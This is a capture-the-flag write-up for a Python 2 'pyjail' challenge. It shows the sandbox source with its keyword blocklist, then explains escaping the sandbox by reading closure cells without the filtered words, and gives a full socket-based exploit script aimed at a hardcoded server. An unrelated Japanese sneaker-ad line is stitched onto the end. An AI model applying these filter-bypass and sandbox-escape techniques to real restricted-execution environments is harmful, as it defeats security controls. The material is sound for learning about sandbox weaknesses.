This task is new implementation of python sandbox.
import re
import sys
import string
from sys import stdout
sys.stderr = stdout
sanitize = re.compile(
r'(?:__|import|globals|locals|exec|eval|join|format|replace|translate|try|except|with|content|frame|back)'
).sub
trusted_builtins = """
True False type int
""".split()
alphabet = ' \n\r0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ(),.:;<=>[]_{}'
t1 = ''.join(chr(code) for code in xrange(256))
t2 = []
for i in t1:
if i in alphabet:
t2.append(i)
else:
t2.append(' ')
trans_table = string.maketrans(t1, ''.join(t2))
EXPECTED = 13.37
del alphabet, t1, t2, i, sys, string, re
def clear_builtins():
orig = __builtins__.__dict__.copy()
__builtins__.__dict__.clear()
for i in trusted_builtins:
__builtins__.__dict__[i] = orig[i]
part1_of_flag = '******************'
part2_of_flag = '******************'
egg = 'egg'
def main():
if raw_input() != 'leetleetleetleet':
return
print ('Welcome to pyjail!\n\n'
'Try to get the flag!\n'
'Use ctrl+D or --- to submit your code\n')
stdout.flush()
code = []
total_bytes = 0
while True:
try:
value = raw_input()
total_bytes += len(value)
assert total_bytes < 1337
if value == '---':
break
code.append(value)
except EOFError:
break
code = sanitize("/*ERR*/", '\n'.join(code).translate(trans_table))
clear_builtins()
def sandbox():
t=r=y = t=o = s=o=l=v=e = t=h=e = d=i=v=i=s=i=o=n = q=u=i=z = 0
def exec_in_context(ctx):
exec code in ctx
print 'Flag is',
try:
assert FLAG != part1_of_flag
print FLAG
except:
print '********************'
def we_must_be_sure_flag_part1_is_ready():
global FLAG
FLAG = part1_of_flag
def we_must_be_sure_flag_part2_is_ready():
global FLAG
FLAG += part2_of_flag
def divider(v1):
a = "You are lucky!"
b = "Try again!"
def divider(v2):
i,t,s, n,o,t, s,o, h,a,r,d
if int(v1) / int(v2) == EXPECTED:
print a
we_must_be_sure_flag_part2_is_ready()
else:
print b
we_must_be_sure_flag_part1_is_ready()
return divider
exec_in_context({'div': divider})
sandbox()
if __name__ == '__main__':
main()
This time deleted all built-ins except (True, False, type, int) and appended some filters:
•__
•import
•globals
•locals
•exec
•eval
•join
•format
•replace
•translate
•try
•except
•with
•content
•frame
•back"
Let's write the script that connects to server, and sends simple CAPTCHA:
hSock = create_connection((host, port))
hSock.send("leetleetleetleet\n")
After this we can send some code, that will be executed in the sandbox, as context we can see function "divider" as "div":
As we can see all attributes with "__" are restricted: so magic like "div.__dict__" will not pass! The only methods of function we can use are:
•func_code,
•func_defaults,
•func_doc,
•func_globals,
•func_closure.
"func_globals" looks like very helpful, but string "globals" is restricted, so we need another way
After reading some manuals, comes understanding, that "func_closure" could be very useful. It returns "cell" objects, that have information about all objects declared inside the function.
"Cell" object has method cell_contents, but string "contents" is restricted again!
After a lot of research was found magic method of getting content of cell without using restricted method
def get_cell_value(cell):
return type(lambda: 0)(
(lambda x: lambda: x)(0).func_code, {}, None, None, (cell,)
)()
So the 8th and 9th cells are functions, that make flag. We just need to call them
Full exploit file;
from socket import create_connection
host = "195.133.87.177"
port = 1337
hSock = create_connection((host, port))
hSock.send("leetleetleetleet\n")
print hSock.recv(1024)
print hSock.recv(1024)
t = """
global EXPECTED, a, b
a = b = 5
EXPECTED = 1
print 0, EXPECTED
def get_cell_value(cell):
return type(lambda: 0)(
(lambda x: lambda: x)(0).func_code, {}, None, None, (cell,)
)()
get_cell_value(div.func_closure[8])()
get_cell_value(div.func_closure[9])()
---
"""
hSock.send(t)
print hSock.recv(1024)
print hSock.recv(1024)
Sports brands | 【国内5月2日発売予定】ナイキ ウィメンズ エアマックス ココ サンダル 全4色 - スニーカーウォーズ